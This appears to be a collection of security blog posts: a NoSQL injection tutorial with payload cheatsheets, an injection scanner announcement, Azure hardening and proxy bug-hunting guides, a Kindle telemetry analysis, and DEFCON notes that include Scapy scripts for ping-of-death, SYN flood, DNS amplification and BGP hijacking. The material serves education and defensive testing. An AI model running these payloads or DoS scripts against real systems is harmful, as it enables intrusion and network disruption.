I was recently discussing how to exploit NoSQL vulnerabilities with a bug bounty tester who had successfully used my NoSQLi program to find a vulnerability on a major site (and received a $3k bounty!).

Using the scan tool is a great way to find some injectable strings, but to extract data, it's important to understand the types of injections possible with NoSQL systems, and how they present. For a instructions on setting up a test environment and introduction to NoSQLi, you can also see my post A NoSQL Injection Primer

In this post, I'll walk through the various ways that you might determine if injections are possible, focusing primarily on the most popular NoSQL database, Mongo. From simplest to hardest:

• Error based injection (when the server returns a clear NoSQL error)
• Blind boolean based injection (When the server evaluates a statement as true or false)
• Timing Injections.

Where & How to Inject Payloads

Anywhere you might expect to see SQL injection, you can potentially find nosql injection. consider URL parameters, POST parameters, and even sometimes HTTP headers.

GET requests can often be typed into the browser directly by adding nosql into the URL directly:

1. site.com/page?query=term || '1'=='1
2. site.com/page?user[$ne]=nobody

POST requests generally need to be intercepted and modified, as NoSQL often includes JSON object structures.

1. {"username": "user", "password": "pass"} 
	would change to 
{"username": {"ne": "fakeuser"}, password: "pass"}
2. {"$where":  "return true"}

Each NoSQL system may have it's own syntax, but mongo allows for both JSON (Technically BSON, but that generally happens under the hood server side) and JavaScript. JS can run directly in the Mongo server if passed through functions that allow it, and JS is enabled on the server (it is enabled by default).

If you already understand SQL injection, the concepts here are mostly the same, and only the details differ.

Simple Error Based NoSQL Injection Tests

The simplest way to determine if injection is possible is to input some special noSQL characters, and see if the server returns an error. This might be a full error string indicating the NoSQL database in use, or something like a 500 error.

'"\/$[].>

• Plug this string into each GET parameter to see if an error occurs
• Replace elements in posted JSON contents with these special characters, or NoSQL keywords like $ne, $eq, $where, $or, etc to see if there are errors.
• Send additional objects along with valid JSON. For instance {"user": "nullsweep"} could become {"user": ["nullsweep", "foo"]} or {"$or": [{"user": "foo"}, {"user": "realuser"}]}

Some of these characters may also trigger other injection vulnerabilities (JS injection, SQL injection, shell injection, etc), so further testing may be needed to ensure it is a NoSQL backend.

Blind Boolean Injection

If sending special characters doesn't cause the site to send error information, it may still be possible to find an injection by sending boolean expressions (a true or false result) if the page changes depending on the answer. For instance, a product page with a product ID parameter that is injectable may return product details for one query, but a product not found message otherwise.

A backend query that is looking up a product by doing something like "id = $id" might use a query like db.product.find( {"id": 5} ). Ideally, we would want to control the whole query to inject something always false such as db.product.find( {"$and": [ {"id": 5}, {"id": 6} ]. It isn't always possible to inject operators like $and and $or because the operators preceed the field labels.

Instead, we may have to try a few different things. We could try to make the query match everything but the ID 5: db.product.find( {"id": {"$ne": 5} } ) or use the $in or $nin operators such as db.product.find( {"id": {"$in": []} }) to ensure returning no data.

If the injection is successful, you will see a difference between the 'true' version and 'false' version.

The Boolean Injection Cheatsheet:

• {"$ne": -1}
• {"$in": []}
• {"$and": [ {"id": 5}, {"id": 6} ]}
• {"$where":  "return true"}
• {"$or": [{},{"foo":"1"}]}
• site.com/page?query=term || '1'=='1
• site.com/page?user[$ne]=nobody
• site.com/page?user=;return true

You may need to try appending certain characters to correctly terminate the query:

• //
• %00
• '
• "
• some number of closing brackets or braces, in some combination

Timing Based Injection

Sometimes, even when injection is possible and the attacker has sent valid true and false values, the page response is identical, and it can't be determined if an injection was successful or not.

In these cases, we can still try to determine if an injection takes place by asking the NoSQL instance to pause for a period of time before returning results, and detecting the resulting difference in time as the proof of successful injection. Timing injection is identical to blind boolean injection, except instead of trying to get the page to return true or false values, we try to get the page the load more slowly (for true) or quickly (for false).

You will likely need several page loads to gather baseline timing information before beginning the injection. The longer sleep times used in this injection type, the easier it is to spot in the results, but the longer it will take to gather information.

Timing injections are only possible where JS can be executed in the database, and can lead to other interesting attacks.

Timing NoSql Injection Cheatsheet:

• {"$where":  "sleep(100)"}
• ;sleep(100);

NoSQL Injection Limitations

Unlike SQL injection, finding that a site is injectable may not give unfettered access to the data. How the injection presents may allow full control over the backend, or limited querying ability on a single schema. Because records don't follow a common structure, discovering the structure can prove an additional challenge when exploiting these types of vulnerabilities.

To automate finding all of these things, check out NoSQLi

Happy Hunting!

In this article, I will walk through configuring and setting up all the Azure services needed to secure your account. There are many services available, but it can be difficult to understand what needs to be done to actually get protected and ensure that all assets are covered.

This is a broad topic, with a lot of nuance, so I will focus on the exact Azure services needed for a security program, and how to get started using them. Azure was built with security in mind, so compared to my articles on configuring AWS security, this is much more straightforward. I have found that Azure generally makes it easier to achieve strong security.

Setting up a solid cloud security program generally consists of a few key components:

• Centralize logs from all cloud resources, and make sure they are stored in perpetuity (for investigations as needed, ideally in low cost long term storage)
• Monitor the logs for suspicious events, and alert into your SIEM
• Configure automated configuration enforcement for the environment, so that teams can't make security mistakes (like deploying a database to listen for connections from anywhere)

To Achieve all of the above, we'll be leveraging the following services:

• Log Analytics to gather logs from our services
• Security Center for best practices (assets and subscriptions)
• Defender for automated threat analysis and indicators of compromise.
• Azure Sentinel for our SIEM (but you can integrate it with your existing SIEM as well)
• Azure Policy for security governance.

That's a lot! Thankfully, most of this is pretty easy to configure. Let's jump in!

Centralizing Logs with Log Analytics

Your operations team may already be collecting logs and alerting based on performance metrics. We just need to ensure that the logs we care about are also being ingested. In particular you may want to look at your AD logs, server syslogs, and any security product logs you have deployed.

To configure Log Analytics, log into the Azure Portal, and create a new Log Analytics Workspace. You could create a template here, but using the web interface is simple enough, since you are unlikely to create many of these resources. Allow Azure to deploy the instance, and once deployed, you can automatically connect assets to your analytics instance.

Log Analytics has a cost - both based on ingestion and total storage used. In addition, the maximum retention time for logs is 2 years, which may not be enough for all organizations. I recommend saving security sensitive logs as long as possible, in case they are needed in future investigations. There is a great write up (and playbook) on how to configure this by Microsoft.

Setup Security Center & Defender

With logs being aggregated, we are now ready to setup security center. You'll need a role with Security Admin access to setup and configure everything.

To fully utilize security center, you'll also need the Azure monitoring agent deployed to assets. Security Center will show you un-monitored assets, and deploying agents can be done from within the asset control panel in most cases.

Security Center is helpful for finding recommendations on general cloud security health - for instance coming up with general security improvements such as full disk encryption, or comparing your deployment against security standards.

Azure will also push the cost-plus Defender service pretty hard, and attempt to sell you an upgrade. I recommend you do the upgrade, at least on all internet facing assets and critical system components. It is required for advanced monitoring and for out of the box compliance and regulatory assessments. The cost is less than similar functionality from other security vendors in my experience.

The first thing we'll do is add some regulatory standards to our compliance dashboard. Even if you don't have to adhere to them currently, I find that they provide a solid baseline, and Microsoft provides several out of the box. To Enable one, click the compliance box from the dashboard, then manage compliance policies, and add ones to for each subscription.

I also suggest you craft your own, stricter policy groups for auditing. Security Center has more than 500 rules you can quickly add to a custom compliance group - everything from network rules to specifying that all servers have a particular application installed (such as a security agent). Of course, you can also write your own policies specific to your organization, but how to do that is out of scope for this post.

In the below screenshot, I have created a policy group that ensures SSH is not accessible from the internet, my machines should have Disaster Recovery configured, Linux servers should have python installed (though in reality this would more likely be things like your HIDS agent or other security software), and that Postgres has some kind of network protection.

Setup Sentinel for your SIEM

You may already have a SIEM that is integrated with your processes.

Start by connecting the Log Analytics instance(s) setup in the first step of this article. I won't go through all the setup steps here, because the Azure documentation already has good tutorials. Here are some to get started:

• Setup built in workbooks
• Enable out of the box detection rules (You can also create custom rules if you have some proprietary or purchased rule sets)
• Setup automated responses and alerts

Finally, you may want to leverage these features in Sentinel, but continue to use a different SIEM (such as splunk) for triage. Sentinel can be integrated with other systems, but you'll have to check with your SIEM vendor or setup some kind of custom data export. For splunk, they offer an Azure connector.

Conclusions and other Resources

Implementing these services and spending some time thinking about how to leverage them in your organization will build a solid base for an Azure security program.

You'll have aggregated logs for security analysis, at a glance compliance - both regulatory and specific to your organization, and the ability to identify and respond to threats.

From here, you can write tailored custom policies to improve the overall security posture of the organization and automate responses to commonly seen threats.

Due to the breadth of the these services, I didn't go too in depth into any single service. Here are some excellent resources for learning more:

• John Savill's Azure Master Class - monitoring & security portion
• The same master class, Governance (policies)
• Azure security documentation (It's generally good, but can be hard to link all the various pieces you will need together)
• Azure security community (tons of good articles to find)

The next Alpha release for NoSQLi is ready for use! This version brings a few minor bug fixes and performance enhancements to existing scans. The primary new feature is the addition of certain PHP GET parameter injections.

This means that nosqli now has all the planned injection type detection completed - PHP GET, error based injection, boolean injection, blind boolean injection, and timing based boolean injection tests.

What are PHP GET injections?

In PHP, using brackets in a get parameter converts it into an array. For instance, a normal expected submission for a some parameter might be something like vulnerablesite.com/checkorder?id=12345. When the PHP script retrieves this value, it sees a string containing the expected "12345" value.

However, we could instead modify the URL to something like vulnerablesite.com/checkorder?id[$gt]=12345. The added brackets will convert this value from a string into an array. The same PHP retrieval code will now return an array instead of a string: array {  ["$gt"]=> "something"}.

If this is being passed without proper checking directly into mongo, we have achieved an injection, and can query the database using logic operators like not-equal, less-than, etc. In the example above, the query is modified from array { ["id"] => "12345" } to array { ["id"] => array{ ["$gt"]=> "12345" } }, and mongo will read that value array as a search for id's greater than 12345.

So what exactly is new in this version?

In previous versions, nosqli checked only [$regex] values for injection, and might have caught others if the server was returning MongoDB errors when special characters were tested.

In the latest version, it now explicitly checks for all of these PHP GET injection types for all parameters on a page. It is smart enough to check each parameter alone, and with others (in the case where one parameter is dependant on the value in another)

Grab the latest release on github, take it for a spin, and see what you can find!

When hunting security issues or checking applications for potential privacy violations, the first tool I reach for is a web proxy. I frequently get asked about the tools I screenshot in these posts, and asked about my process, so I decided to share the basic steps I take to test a web application for security or privacy issues.

This information is targeted at someone with basic knowledge of the HTTP protocol and how the web works. It also assumes familiarity with common website vulnerability classes like the OWASP top 10. Some programming helps too, but isn't required.

Web Attack Proxies

When I first started in web app security, I just used my browser and the developer console for all testing. This can work, but sure makes it a lot harder to find and exploit vulnerabilities!

Web attack proxies are configured to be an intermediary between your browser and the target site, capturing all requests and responses made between you and the site. This let's you quickly inspect data flows, modify data in flight, and automate tests or other tasks. They also typically include a ton of other advanced features, like decoding or encoding data, passive and active vulnerability scans, and more. I'll only touch the surface of these options today, but once you start using a proxy it's easy to learn more!

There are three that I use on a regular basis:

• Burp Suite: The industry standard. The community version is limited in many ways, but is still excellent software. This is my normal go-to proxy.
• OWASP ZAP: Fully open source, with many of the same features as Burp. Sometimes it's even ahead in some areas.
• mitmproxy: I've been trying to do more of my proxy work in mitmproxy lately. It's very automateable and fully open source.

Using BurpSuite

Let's start with Burp. It's pretty easy to use and beginner friendly, without sacrificing advanced features. Download it via the link above and fire it up. Once it opens, click through to a temporary project and select the "proxy" tab.

You can configure your normal browser to use Burp, by setting the proxy to localhost:8080 and installing the generated Burp certificates (downloaded by navigating in that same browser to localhost:8080), but burp includes a built in chromium browser all setup correctly. I'd start by clicking the "intercept is on" button to disable intercept (it will pause all connections while you inspect the traffic, making the browser appear to be frozen) and then click open browser.

Now, lets try attacking the vulnerable OWASP application Juice shop. Open https://juice-shop.herokuapp.com/#/ in the burp browser.

Reconnaissance

The first step in bug hunting is understanding the application you are testing, and where it might have weaknesses. Normally, I browse around a site clicking various links and looking for areas that look interesting. A few things I immediately check out:

• Login forms or any kind of authentication flow.
• Any forms I can submit (feedback, lead generation, etc). I submit every form with some valid test data so I can store the request in the proxy.
• Any link that gives any kind of error (401/Unauthorized can be interesting to look for auth bypass, 500 server errors might indicate something exploitable, etc).
• Any URL that looks like it might have a unique ID in it - thing like site/product/1 or product?id=1 in the URL.
• Any page that includes data submitted in the URL or a request on the page, or includes something that looks like a filename or url. Something like view?file=thefile.txt

I'll sometimes also spin up a scan like dirbuster if the site allows automated tools, but they can be pretty heavy sometimes. A few files to check for manually:

• .git directories
• .htaccess files
• robots.txt and anything interesting in it
• If you know the software stack, configuration files for that stack.

While looking around the site, if something looks particularly interesting, I may dive right into testing. Definitely take note of anything you want to return to.

As you have browsed around in the Burp browser, your "target" tab has been filling up with every page visited (request & response is saved) and the proxy->HTTP History has been also keeping every request in order.

Finding & Exploiting a Vulnerability

Juice shop is full of vulnerabilities, so you should find plenty to play with. I'll start right into the authentication flow, and submit some fake username to log the request in the proxy.

Juice Shop is interesting in that every request isn't stored in the target tab - so for the login form I have to look at the HTTP request history, since I didn't see the post request where I was expecting.

In the below gif, you can see me find the login request, move to the repeater tool, run the request again with normal input, then with some special characters, revealing an error message that indicated SQL injection might be possible.

It won't always be so simple - in this case we see a SQL error message clearly. It might also have presented exactly the same information as before (invalid user) while still being vulnerable. Usually, I would probe the form with several different inputs looking for variances in the response before moving on.

Keep in mind that a form like this can have more than just a SQL back end. A key part of testing is forming a mental model of the various technologies in use on the back end, and how they fit together. SQL is pretty common, but I have also seen noSQL (mongo), XML, file system, even network requests from a form like this. Each will have a different attack surface.

Let's do the same thing, but with mitmproxy

If we wanted to automate the above tests in some way, or do any kind of brute forcing, we would need to upgrade to Burp Pro (which is worth it!). But we could also use a different proxy. ZAP works pretty similarly to burp, but mitmproxy looks a little different. Here's the same flow in mitmproxy:

Mitmproxy requires a little extra setup - you'll need to install their CA cert into the browser you are using by navigating to mitm.it once you have the proxy configured in your browser.

It's a little harder to follow, because most interaction is with the keyboard. mitmproxy mostly follows vim keybindings. r replay's the request, e enters the editor, and the arrow keys or q navigate between screens.

Finding Privacy Violations

When testing for privacy issues in applications, the setup is the same: configure the application (or the entire machine) to put all network requests through the proxy. Use the application normally for a while, and monitor the flows.

This won't work as well if the application doesn't use the HTTP protocol (in which case, network monitoring tools or injecting into the process are required), but I find almost all applications use HTTP primarily.

As you use different functionality in the application or tool, watch the network requests and read through the request and response data carefully. Check URL parameters, cookie information, and data in the request headers and POST data.

This is often where decoding tools come in. Common encodings I have seen (where tools try to hide their privacy violating practices) are base64, Hex, and URL encoding. Noticing what action generates what request can give a hint as to what data is being sent.

Conclusions

And that's the basic workflow! Of course, there are many tools that help with finding specific classes of bugs, or help inspect particular tech stacks, or automate particular tests. I think that when first starting to hunt security bugs, it's good to understand how to do it manually, then move on to the more powerful tools to automate away the repetitive tasks you find yourself doing.

What other tools and methods do you like when bug hunting?

Last year, I started working on a NoSQL injection framework, because I just didn't find a tool that suited my purposes. Other tools are too hard to automate in my workflow, or missed a lot of the simple test cases I tried.

So I developed nosqli, an open source NoSQL scanner written in Go. It's configurable with command line options, and runs a large number of injection attempts against targets. It's mostly focused on Mongo injections, but does work to a lesser extent against any database that uses JavaScript.

$ nosqli
NoSQLInjector is a CLI tool for testing Datastores that 
do not depend on SQL as a query language. 

nosqli aims to be a simple automation tool for identifying and exploiting 
NoSQL Injection vectors.

Usage:
  nosqli [command]

Available Commands:
  help        Help about any command
  scan        Scan endpoint for NoSQL Injection vectors
  version     Prints the current version

Flags:
      --config string       config file (default is $HOME/.nosqli.yaml)
  -d, --data string         Specify default post data (should not include any injection strings)
  -h, --help                help for nosqli
  -p, --proxy string        Proxy requests through this proxy URL. Defaults to HTTP_PROXY environment variable.
  -r, --request string      Load in a request from a file, such as a request generated in Burp or ZAP.
  -t, --target string       target url eg. http://site.com/page?arg=1
  -u, --user-agent string   Specify a user agent

Use "nosqli [command] --help" for more information about a command.

$ nosqli scan -t http://localhost:4000/user/lookup?username=test
Running Error based scan...
Running Boolean based scan...
Found Error based NoSQL Injection:
  URL: http://localhost:4000/user/lookup?=&username=test
  param: username
  Injection: username='

Using NoSQLi

I tried to keep a simple and flexible CLI interface for scanning. You can pass in a target URL with GET parameters that need to be scanned, or a saved request with POST data. The scanner is smart enough to know if the data is JSON or form data, and will inject either way.

The configurations currently support running through a proxy (so you can view the generated traffic in Burp or similar software) and changing the user agent.

Scanning Types

NoSQLi has the most commonly found injection vectors implemented:

Error Scans: Look for known error strings in responses from the server.

Blind Boolean Injections: When the page doesn't return errors, but does return different data when true or false is returned from the database (or when some records are retrieved vs. no records)

Timing based injections: When all else fails, if the database sends a delayed response after a successful injection.

Using NoSQLi with Requests

A key feature missing from a few scanners I tried previously was the ability to export a request from a proxy and run the injections based on that. NoSQLi can leverage this easily, and keeps all the header information, including things like user agent.

While the tool does not yet support importing a full session log and executing tests against all requests sequentially, saving a standard HTTP request to a file and referencing that file allows repeatable tests, or extraction from other tools such as Burp.

Installing NoSQLi

The github page has all the instructions. You can build from source or download and run the appropriate executable for your system.

Roadmap / Future features

I'd like to support data extraction and specific tests for NoSQL databases beyond MongoDB. If you have ideas, try it out and let me know what else you would like to see!

As an avid reader, I've owned several generations of Kindle devices, from the original to the Paperwhite, and loved each of them.

However, I have also kept a watchful eye on the abuse potential of the new format. Because Amazon technically owns the content you view, they may revoke it at any time. There have been cases of Amazon removing specific books from customer accounts (and kindles). Considerably worse, there are also cases of Amazon revoking user accounts and removing all access to purchased books.

Kindle services leverage reading data to offer some nice features that traditional books can't offer: maintaining bookmarks and notes between devices, keeping all devices synced with the last read page, and more. It also shows ads and recommendations for next books to read on the kindle.

I was curious to know if the Kindle was only sending the data required for these services, or if other data about me was being sent.

Turns out, Kindle Collects a Ton of Data

The Kindle sends device information, usage metadata, and details about every interaction with the device (or app) while it's being used. All of this is linked directly to the reader account.

Opening the app, reading a book, flipping through a few pages, then closing the book sends over 100 requests to Amazon servers.

The Invasive Behavioral Information

Essentially, the Kindle tracks every tap and interaction someone makes while reading.

Every page that is read sends the following information:

• Time a page was opened (when you turn to a new page, a timestamp is generated)
• The first character on the page (This might be something like character 7705 in the book, which is the exact location)
• The last character on the page
• If the page is images or text

Here's a sample record that is sent with every page read:

{
    "created_timestamp": 1597743233808,
    "payload": {
        "context": "Reading",
        "continuous_scroll_state": "disabled",
        "end_position": 4708,
        "is_scrolled_over_span": false,
        "span_type": "Text",
        "start_position": 4193
    },
    "schema_name": "kindle_positions_consumed_v2",
    "schema_version": 0,
    "sent_timestamp": 1597743233855,
    "sequence_number": 26
}

Every reading session will also generate a summary of how many pages were read in different modes:

{
    "created_timestamp": 1597743255324,
    "payload": {
        "action_type": "PageTurn",
        "book_length": 2003478,
        "context": "Reading",
        "count": 10,
        "navigation_end_location": 7884,
        "navigation_mode": "Horizontal",
        "navigation_start_location": 3599
    },
    "schema_name": "reader_in_book_navigation_v2",
    "schema_version": 0,
    "sent_timestamp": 1597743265854,
    "sequence_number": 36
}

Similar data sets are sent for opening the app, whether it is in the background when opened, when a book is opened or closed, and when settings like font size are changed. Highlighting or tapping any word will send the requests with the text to Bing Translate and Wikipedia, as well as back to Amazon.

None of these requests appear to be used for customer features like last read location. Instead, the highlights, last read location, and other information is sent a second time, to a different endpoint, on a periodic basis, with much less granular information.

Each request also isn't sent as soon as it's generated. A number of these records are created and stored locally, then uploaded (note the sequence_number field). Even if a person is offline while reading, this data is stored and sent when reconnected.

Device Information

The Kindle also includes a few more bits of personal information I would rather it didn't:

• Country of residence
• Attempt to get the IP address on the local network (a 10. address, which was incorrect for me)
• device information and version (screen sizes, make and model (iphone vs. Android vs. Kindle), software version
• Good Reads account details
• Device orientation (portrait vs. landscape)

Some of this is likely to help Amazon understand how users use the app, so they can improve it for those use cases. The local IP is the only item on here that bothers me, though I couldn't find any other local network information that would be problematic.

Conclusions

The Kindle is far from the most invasive privacy app I have seen, but it records a lot of behavioral reading information I don't like. I've been trying to get away from the the Kindle ecosystem for the past year or so, and now use Marvin for reading on my iPhone. I no longer use the Kindle device, though I dearly miss e-Ink.

Unfortunately, in order to use a non-Kindle application, I have to buy DRM-Free books. It isn't always easy to find them, though the Kobo bookstore and small niche providers often offer them, and some can even be found on Amazon.

I'm taking some time to attend DEFCON virtually this year. I'll be posting notes from talks, Q&A, and maybe even take aways from "hallway" conversations I have here throughout the weekend.

I tend to focus mostly on webappsec, cloud security, and new exploits, but there are some interesting talks outside of my area of expertise I hope to find time for as well.

Sunday August 9th

Bytes in Disguise (⌐■_■)

Video

This talk by Mickey Shkatov and Jesse Michael talks about various places to hide bytes so endpoint protection is unlikely to find them - some very interesting places! Github for their demos

• Covering previous talk about keeping malware / payloads off disk (to avoid AV), in memory, and in particular in UEFI. This made EDR and AV blind to the UEFI variables.
• Where can we hide payload data so the time to detect is longer? UEFI Set/GetFirmwareEnvironmentVariable*, UEFI RT services.
• To enumerate attack surface: take apart the device and take hi res photos (decent cell camera works) of the various hardware chips (can also try Googling teardown images of the model). Look for official schematics if possible (though finding schematics for modern hardware is rare). Find official docs that describe volatile and non volatile memory components - google hack: "flash" + "of volatility" filetype:pdf. You may find things like "128 bytes are protected by intel. The other 128 bytes are not write-protected". But don't take the documents at their word (especially when it declares something as not user modifiable - usually that means it is intended for user modification, but may not be write protected).
• Some places to hide bytes: CMOS, SPI, SPD, USB controllers, PCI bridges & endpoint devices, Displays/monitors, track/touch-pads
• CMOS: tiny non-volatile RAM backed by coin cell battery, located inside chip-set. Has a few unused bytes that are accessible via IO ports, but only 256 bytes and risk of bricking the system or disrupting PCR measurements (only mess with 0 value bytes). Demo bookmark
• SPI Flash: includes BIOS/UEFI, ME firmware, config data, platform specific regions and more. Often protected in modern systems, but sometimes permissions are not correct, or the permissions themselves are writable.
• SPD: Serial presence detect chip - the chip in a replaceable memory chip that notifies the system how to use it. It includes info about the memory module, and usually has unused space that is sometimes writable (read at boot, so overwriting values may brick the system until module is removed). May not exist on systems with soldered memory. Usually only 256-512 bytes available.
• USB controllers, often on the motherboard with update-able firmware (a large number have unsigned updates). Demo bookmark. You can likely find similar spaces on most attached devices that have firmware (most of them). LAN ports are usually a good spot to look as well.
• How do we access SPI flash? the 'flash programming tool' (may require some digging to find), firmware update tools from vendors. Demo bookmark. Even signed firmware images often only validate the block of data used - empty space not included.
• Nearly all of this requires admin / Ring 0
• Recommended ASMio tool by Stefano Moioli (leveraged in some of the demos)

Lateral Movement and Privilege Escalation in GCP

Video

This talk by Allison Donovan and Dylan Ayrey covers GCP attack techniques. I am interested in cloud security, but don't have any real experience with GCP.

• AWS has policies for users, GCP has policies for resources. Owner of a service account can't read the resource policies or even know if they have access. As a result, it isn't possible to know what a given user has access to - instead you have to look at a resource and see who has access to it. Service accounts can be granted access to resources from outside the organization (meaning it's really not possible to know what a given user has access to).
• An interesting scenario covered with GKE (Kubernetes) - admin creates a cluster with a service account, service account manages nodes. Devs given access to specific nodes, but if a developer grants the Kubernetes service account access to some resource the dev owns (so their node can access their resource), but this grants all nodes access that resource, meaning any developer can access it, including ones added in the future - but the Kubernetes admin who owns the service account cannot know what resources have been granted! Sounds like a problem...
• Most resources are grouped into orgs which have inheritance. So, realistically, in the above scenario, you would end up with entire project level role bindings.
• This all means that granting anyone access to a service account is inherently risky -It is hard to really know what permissions that role has, unless you introspect all your own resources.
• They mapped out orgs from IAM entries committed into github to generate an org graph.
• Primitive editor role is pretty powerful - has a lot of default permissions - to associate service accounts to resources, and this role is created by default on resource creation.
• Resources default to thousands of permissions.
• So how do we use this to move laterally in an organization? If a developer gives a permission with an act-as permission to something like the editor role.
• Demo: From a base identity via phishing, they use project listing, service accounts, and actas permissions to take control of service accounts.
• Major finding: if you have one service account with editor access on a project, and another service account with owner on that project, the editor level service account can always privilege escalate itself to owner. This is also true for developers with editor level!
• If one of the lateral moves hits an org role binding, can be used to get org access due to inheritance.
• Released tool Gcploit to automate this flow.
• Remediation: defensive script to map out the same flow that an attacker could exploit. Also, GCP IAM analyzer to analyze this (result of these findings)
• Also released some monitoring tools to identify someone using this tool in an environment.

Take down the internet with Scapy

This was a live session by John Hammond

I have used Scapy for many interesting things, but nothing too serious, so I was interested to see what else it could do. This talk is mostly about using Scapy to craft DoS attacks, old and new.

• What kind of disruptive attacks could be done? Goal of this talk is to describe attacks that just recklessly break things, and show how easy it is.
• Scapy is a packet crafting library for python - formulate TCP or UDP packets, CANbus, Bluetooth, and others.
• some basic syntax to ping and print response. It builds an ICMP packet and sends it to dst.

from scapy.all import *
ping = IP(dst="192.168.1.1")/ICMP()
print(ping)

• Ping of death attack: DoS by sending ping packets that are larger than the maximum allowable size. Scapy script: send(fragment(IP(dst="192.168.10.5")/ICMP()/("X"*60000))) Some systems still vulnerable to this, though it's a pretty old and out-dated attack.
• Syn Flood: try to consume all open TCP connections on a server by sending SYN's but no SYNACK's so the connection is left open by the server for a short time.

syn_flood = IP(dst="192.168.1.1", id=1111, ttl=99)/
            TCP(sport=RandShort(), dport=[80], seq=12345, ack=1000, window=1000, flags="S")  # "S" flag indicates syn
answered, unanswered = srloop(syn_flood, inter=0.3, retry=2, timeout=4)

• DNS amplification attack: DoS based on DNS resolver reflection. Basically, requesting a DNS entry (with a spoofed source IP to the victim) so that they get many large DNS responses. (here src is the victim IP). I am not sure how well this works with modern networks because IP spoofing is largely blocked by networks at every hop, unless the victim is on the same network or geographically close.

dns_amp = IP(src="192.168.10.5", dst="dns.nameserver.com")/UDP(dport=53)/
          DNS(rd=1, qd=DNSQR(dst="google.com", wtype="ANY"))  # send ANY type to get max response size

send(dns_amp)

• BGP Abuse - BGP Hijacking, DoS, blind attacks to disrupt sessions or inject routing mis-configurations.
• Blind disruption - RST flag spoofed, victim would believe the BGP session was terminated. (to achieve this, attacker has to be betwwen the two routers)

dport = 53154 # must match active session
seq_num = 123 # must also match traffic
ack_num = 456 # must also match traffic

bgp_reset = IP(src="200.1.1.1", dst="200.1.1.3", ttl=1)/
            TCP(dport=dport, sport=179, flags="RA", seq=seq_num, ack=ack_num)
            
send(bgp_reset)

• Blind injection of BGP - send malicious routing information to try and hijack the route

load_contrib("bgp")

dport = 53154
seq_num = 123
ack_num = 456

path_origin=BGPPathAttribute(flags=0x40, type=1, attr_Len=1, value="\x00")
path_AS = BGPPathAttribute(flags=0x40, type=2, attr_Len=4, value="\x02\x01\x01\x2c")
path_next = BGPPathAttribute(flags=0x40, type=3, attr_Len=4, value="\x64\x02\x03\x02")
path_exit = BGPPathAttribute(flags=0x80, type=4, attr_Len=4, value="\x00\x00\x00\x00")
path_update = BGPPathAttribute(tcp_Len=25, total_path=[path_origin, path_AS, path_next, path_exit], nlri=[(24, "5.5.5.0")])

send(IP(src="200.1.1.1", dst="200.1.1.2", ttl=1)/
        TCP(dport=dport, sport=179, flags="PA" seq=seq_num, ack=ack_num)/
        BGPHeader(Len=52, type=2)/path_update)

• Real life cases: June 2019, Verizon has BGP routing miss that knocked about 15% of traffic off the internet. Cloudflare BGP leak last month from cloudflare. Neither of these were attacks, just network mis-configurations.

Modern password & hash cracking

This is a live talk

• Gaming setups are best - GPU important. Cloud cracking can work well, about $.03 / Giga-hash hour. Built custom rig for $25k which gets 250 GH/hr (2017) - 6 x 1080's
• 8 char passwords can be cracked near instantly with one of these - should not be used in 2020. 12 char is now the minimum - 3 year crack time on NTLM hash (when not in word list)
• Some terms: masks - the makeup of a word broken up into it's charcter set. Like Password1 -> <P><assword><1> - 3 masks, which can be used to guess the makeup of characters. Most people start their password with capital letter, then lowercase, and ending with numbers. Hybrid attack - brute force or mask appended/prepended to a wordlist. Wordlist - candidate words which can be modified with rules - usually dictionary words. Password Dump - file containing passwords found by previous cracking attempts - more complex words than a wordlist.
• Full kit: hashcat, hashtopolis, HashID, PW_spy
• Hashcat: defacto standard, replaced JohnTheRipper. Supports almost every hash imaginable and very fast.
• Hashtoplis: wrapper for hashcat that manages agents, jobs, wordlists and binaries from a central location. give it something to crack and it farms it out to various hashcat instances. Can help manage all the hashcat installs as well. This is really for the big enterprise engagements (cost of running multiple cloud jobs can be high)
• HashID - find the likely hashing algorithm if you are having trouble finding the type of hash, but not so helpful anymore. Another method is to self-register with a password, grab the hash that was created, and then try different methods.
• PW_spy - once some pw's have been cracked will find most common masks, weak passwords, common lengths, base words used in cracked set.
• Where to find passwords? hashdump for local accounts, /etc/shadow, mimikatz, web apps, responder, DCSync/NTDS, network snooping...
• some common password themes: local sports team (pro/college), local street names, <company_name><year_founded>, sometimes client or project names
• cracking progression (fastest first): Start with strong wordlist -> add rules -> loopback attacks -> 1-8 char pw brute force (24 hours for NTLM) ->masks.

Saturday August 8th

Whispers Among the Stars (Satellite Eavesdropping)

Video

This is a great talk by James Pavur on intercepting satellite data. The scope and scale of the findings are significant.

• Attack looked at 18 Geo satellites, covering 100m KM (huge area!)
• Able to intercept a lot of sensitive data - sometimes using vulnerabilities known since 2005. Traffic captured from military jets, industrial work, personal internet traffic, and more.
• Main problem with satellite communications: initial request generally a very focused band (limited geo), but response send a very spread out geographic area, so many locations can be used to listen.
• Sat equipment is expensive - but TV sat dish works (~$300) with sat card (pro card about $300 also), so not too expensive for every day attackers.
• EBS Pro tool used to scan for internet service - check the KU band, look for signal out of the noise (looked like big spikes on the demo) and tell the card to connect at that frequency looking for digital. The driver can then be used to listen into the wire, and the saved traffic file can be greped to find info. In the demo - SOAP API was being sent.
• Legacy protocol used is MPEG-TS (the video streaming format), though this is still used fairly frequently. There are some good tools for working with: dvbsnoop, tsduck, TSReader.
• Modern protocol: GSE. Popular with enterprise customers, with high end hardware that made it hard for the low end tools used to capture all the data.
• Built GSExtract tool (not released at the time of these notes) to try to reconstruct IP packets from the feed - gives 60-70% of packets.  
• Combined, this gives ISP level visibility to traffic. With enterprise customers, it is often treated as a trusted LAN communication, including finding some things like LDAP traffic - some companies, including utility companies, considered the satellite as a trusted network.
• Encryption would protect the content of the traffic, but some things that were intercepted: most DNS queries, HTTP headers, emails (intercepted attorney/client communication emails using POP3). This can allow things like password reset attacks by intercepting emails. BASIC auth strings, FTP with login details, SMB, cruise ship point of sale data, passport/visa data from ports, along with timestamps.
• Aviation findings: GSM cell connections sent clear text over satellite, leading to some text message intercepts and some air control data.
• Satellite communications could be used for undetectable data exfiltration - send data via satellite - even to something like a closed port or broken service on a ship somewhere, and the attacker can listen in.
• TCP session hijacking - depending on location of the attacker and the user, the attacker may be able to have certainty that their packets will arrive first.
• It is likely that nation states employ satellite technology that can expand significantly upon these attacks.

Using P2P to hack 3 million cameras

Video

A really great talk by Paul Marrapese on how P2P features in cameras exposes them to attack, including cameras behind firewalls. This one is scary - attacks are generally simple, persistent, and unlikely to go away any time soon.

• Hundreds of brands impacted by his findings - a $40 device can be used to accomplish this.
